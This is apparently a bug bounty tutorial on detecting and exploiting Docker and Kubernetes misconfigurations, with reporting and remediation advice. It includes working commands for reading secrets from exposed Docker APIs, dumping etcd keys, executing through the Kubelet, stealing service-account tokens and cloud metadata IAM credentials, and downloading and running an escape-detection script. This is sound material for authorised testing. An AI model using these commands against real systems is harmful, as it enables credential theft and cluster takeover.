Container Security Testing for Bug Bounty in 2026: How to Find and Exploit Docker and Kubernetes Vulnerabilities in Real Targets

Key Takeaways

Container misconfigurations — exposed Docker APIs, open Kubernetes dashboards, privileged containers — are among the highest-paying bug bounty findings in 2026
Detecting containerized targets requires specific recon: port scanning for 2375/2376/6443/10250, checking HTTP headers, and probing for container metadata endpoints
Docker escape from privileged containers is a well-documented path to critical severity — if you find a privileged container, you likely have host access
Kubernetes RBAC misconfigurations are extremely common and often give you lateral movement across the entire cluster
Container image vulnerabilities (outdated base images, embedded secrets) are valid findings but typically pay less than infrastructure misconfigurations

Why Container Security Matters for Bug Bounty

Containers are everywhere in 2026. Most bug bounty targets run on Docker and Kubernetes — and most security teams focus their hardening on the application layer, not the container infrastructure underneath it.

That gap is your opportunity. Container misconfigurations routinely pay critical bounties because they give attackers access to the underlying host, the orchestration layer, or the entire cluster. A single exposed Docker API can be more impactful than a dozen XSS findings.

This guide covers the practical techniques for finding and exploiting container vulnerabilities in real bug bounty targets — from initial detection through exploitation and impact demonstration.

Detecting Containerized Targets

Before you can test container security, you need to know whether your target runs containers. Here are the signals to look for during recon.

Port-Based Detection

Scan for container-specific ports:

2375/tcp — Docker daemon API (unencrypted)
2376/tcp — Docker daemon API (TLS)
5000/tcp — Docker Registry
6443/tcp — Kubernetes API server
8443/tcp — Kubernetes API server (alternate)
10250/tcp — Kubelet API
10255/tcp — Kubelet read-only API
2379-2380/tcp — etcd (Kubernetes backing store)
30000-32767/tcp — Kubernetes NodePort range

nmap -sV -p 2375,2376,5000,6443,8443,10250,10255,2379,2380 target.com
nmap -sV -p 30000-32767 target.com

HTTP Header Analysis

Container orchestrators leak information through HTTP headers:

Server: openresty or Server: nginx/ingress — likely Kubernetes Ingress
X-Kubernetes-* headers — direct Kubernetes exposure
X-Request-Id with UUID format — common in Kubernetes service meshes
Istio/Envoy headers (x-envoy-upstream-service-time) — service mesh, confirms Kubernetes

Application-Level Indicators

If you have any level of access (SSRF, path traversal, command injection):

Check for /.dockerenv — exists in Docker containers
Read /proc/1/cgroup — contains container IDs in containerized environments
Check environment variables — KUBERNETES_SERVICE_HOST, KUBERNETES_PORT confirm Kubernetes pods
Query http://169.254.169.254/ — cloud metadata endpoint, often accessible from containers

Docker-Specific Attacks

Exposed Docker Daemon API

An exposed Docker daemon API (port 2375) is a critical finding. It gives you full control over all containers on the host and, in most configurations, root access to the host itself.

Test for it:

# Check if Docker API is accessible
curl -s http://target.com:2375/version
curl -s http://target.com:2375/containers/json
curl -s http://target.com:2375/images/json

If the API responds, you can list containers, inspect their configurations, read environment variables (which often contain secrets), and in many cases create new containers with host filesystem mounts.

Impact demonstration (for your report — do NOT actually exploit beyond what's needed to prove impact):

# Show you can list running containers and their configs
curl -s http://target.com:2375/containers/json | jq '.[].Names'

# Show environment variables (may contain API keys, database credentials)
curl -s http://target.com:2375/containers/<id>/json | jq '.Config.Env'

Docker Registry Enumeration

Exposed Docker registries (port 5000) let you pull container images, which often contain embedded secrets, source code, and configuration files.

# Check if registry is accessible
curl -s http://target.com:5000/v2/

# List repositories
curl -s http://target.com:5000/v2/_catalog

# List tags for a repository
curl -s http://target.com:5000/v2/<repo>/tags/list

# Get image manifest (contains layer digests)
curl -s http://target.com:5000/v2/<repo>/manifests/latest

Once you have the manifest, you can pull individual layers and extract them to find secrets, hardcoded credentials, and internal configuration.

Container Escape from Privileged Containers

If you gain code execution inside a container (via RCE, SSRF chain, etc.), check whether the container is privileged:

# Check if running as privileged
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff means fully privileged

# Check for host devices
ls /dev/ | grep -E "sda|vda|nvme"

# Check cgroup mount
mount | grep cgroup

A privileged container with CapEff: 0000003fffffffff has all Linux capabilities and can escape to the host. Common escape techniques:

cgroup escape — mount a cgroup, write a release_agent, trigger it
Host filesystem mount — if /dev/sda1 is accessible, mount the host disk
nsenter — if PID namespace is shared, enter the host's PID 1 namespace

Use deepce to automate container escape detection:

# Download and run deepce inside the container
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

Docker Socket Mount

If the Docker socket (/var/run/docker.sock) is mounted inside a container, you have full Docker API access from within the container:

# Check for Docker socket
ls -la /var/run/docker.sock

# If present, interact with Docker API
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

This is equivalent to having the Docker daemon API exposed — it's a critical finding.

Kubernetes-Specific Attacks

Kubernetes API Server

The Kubernetes API server (port 6443/8443) is the control plane for the entire cluster. If it's accessible without authentication or with weak RBAC:

# Check if API server is accessible
curl -sk https://target.com:6443/api/v1/namespaces

# Check for anonymous access
curl -sk https://target.com:6443/api/v1/pods

# Check version (less sensitive, often allowed)
curl -sk https://target.com:6443/version

Kubelet API

The Kubelet API (port 10250) runs on every node and can execute commands in pods:

# List pods on this node
curl -sk https://target.com:10250/pods

# If anonymous auth is enabled, you can exec into pods
curl -sk https://target.com:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

The read-only Kubelet API (port 10255) doesn't allow command execution but leaks pod specifications, environment variables, and mounted secrets:

curl -s http://target.com:10255/pods | jq '.items[].spec.containers[].env'

Kubernetes Dashboard

The Kubernetes Dashboard is a web UI for cluster management. When exposed without authentication (or with a skip-login option), it gives full cluster control:

Check common paths: /api/v1/namespaces/kubernetes-dashboard, /dashboard/
Look for the dashboard service on NodePort range (30000-32767)
Check if the "skip login" button is present

etcd Exposure

etcd (ports 2379-2380) is Kubernetes' backing store. It contains all cluster state including secrets:

# Check if etcd is accessible
curl -s http://target.com:2379/version

# List all keys (contains secrets, configs, everything)
curl -s http://target.com:2379/v3/kv/range -X POST -d '{"key": "AA==", "range_end": "//8="}'

Exposed etcd is always critical — it contains every secret in the cluster in plaintext.

RBAC Misconfigurations (From Inside a Pod)

If you have code execution inside a Kubernetes pod, check what the pod's service account can do:

# Get the service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Set up kubectl with the token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export API_SERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Check what you can do
curl -sk -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/namespaces
curl -sk -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/secrets
curl -sk -H "Authorization: Bearer $TOKEN" $API_SERVER/apis/rbac.authorization.k8s.io/v1/clusterroles

Common RBAC misconfigurations:

Wildcard permissions — * on resources or verbs
cluster-admin bound to default service account — every pod gets full cluster access
Secret read access — service account can read secrets from other namespaces
Pod create/exec permissions — can create privileged pods or exec into other pods

Use peirates for automated Kubernetes penetration testing from inside a pod.

Container Image Vulnerabilities

Scanning Pulled Images

If you can pull images from an exposed registry, scan them for vulnerabilities and secrets:

# Scan with trivy
trivy image target.com:5000/app:latest

# Scan with grype
grype target.com:5000/app:latest

# Look for secrets in image layers
docker save target.com:5000/app:latest | tar -xf -
# Search extracted layers for secrets
grep -r "password\|secret\|api_key\|token" */layer.tar

Common Findings in Container Images

Hardcoded credentials in environment variables or config files
Private keys baked into the image
Outdated base images with known CVEs
Source code that wasn't meant to be distributed
.git directories left in the image
Build artifacts with internal URLs and API endpoints

Cloud Metadata Attacks from Containers

Containers running in cloud environments (AWS ECS/EKS, GCP GKE, Azure AKS) can often reach the cloud metadata service:

# AWS metadata (IMDSv1)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS ECS task metadata
curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

# GCP metadata
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure metadata
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Cloud metadata access from a container often gives you IAM credentials that can be used to access cloud resources outside the container — S3 buckets, databases, other services. This escalates a container compromise to a cloud account compromise.

Tools for Container Bug Bounty Testing

Tool	Purpose	Use Case
trivy	Image vulnerability scanning	Scan pulled images for CVEs and secrets
grype	Image vulnerability scanning	Alternative to trivy with different detection engine
deepce	Container escape detection	Run inside a container to find escape paths
peirates	Kubernetes penetration testing	Automated K8s attack from inside a pod
kubeaudit	Kubernetes security audit	Check for RBAC and config issues
kubeletctl	Kubelet API interaction	Enumerate and exploit exposed Kubelet APIs
CDK	Container escape toolkit	Automated container breakout and exploitation
kubectl	Kubernetes CLI	Interact with exposed K8s API servers

Writing the Bug Bounty Report

Container findings need clear impact demonstration. Structure your report:

Discovery — How you found the exposed service (port scan, header analysis, SSRF chain)
Verification — What data you could access (list containers, read environment variables, list secrets)
Impact — What an attacker could do (host escape, cluster takeover, data exfiltration, lateral movement)
Remediation — Specific fixes (disable anonymous auth, restrict network access, fix RBAC, use network policies)

Severity guidelines for container findings:

Critical — Exposed Docker API, etcd access, Kubelet exec, container escape to host, cluster-admin access
High — Exposed registry with secrets in images, RBAC allowing secret reads across namespaces, cloud metadata access with IAM credentials
Medium — Read-only Kubelet API, information disclosure via container metadata, outdated images with exploitable CVEs
Low — Version disclosure, non-sensitive configuration exposure

Frequently Asked Questions

Can you find container vulnerabilities in bug bounty programs?

Yes. Many bug bounty programs include containerized infrastructure in scope. Exposed Docker APIs, misconfigured Kubernetes dashboards, leaked container registry credentials, and container escape vulnerabilities are all valid findings that programs pay for — often at critical severity.

What tools do you need for container security testing in bug bounty?

Key tools include trivy and grype for image scanning, kubectl and kubeaudit for Kubernetes assessment, deepce for container escape detection, peirates for Kubernetes penetration testing, and standard recon tools like nmap for discovering exposed container services.

What is the most common container vulnerability in bug bounty?

Exposed Docker daemon APIs (port 2375/2376) and misconfigured Kubernetes dashboards are the most commonly reported container vulnerabilities in bug bounty programs. Both give attackers direct control over the container orchestration layer and typically pay critical bounties.

How do you detect if a target is running containers?

Look for exposed ports (2375/2376 for Docker, 6443/8443 for Kubernetes API, 10250 for Kubelet), HTTP headers revealing container orchestrators, /.dockerenv files via path traversal, /proc/1/cgroup contents showing container IDs, and Kubernetes-specific endpoints like /api/v1/namespaces.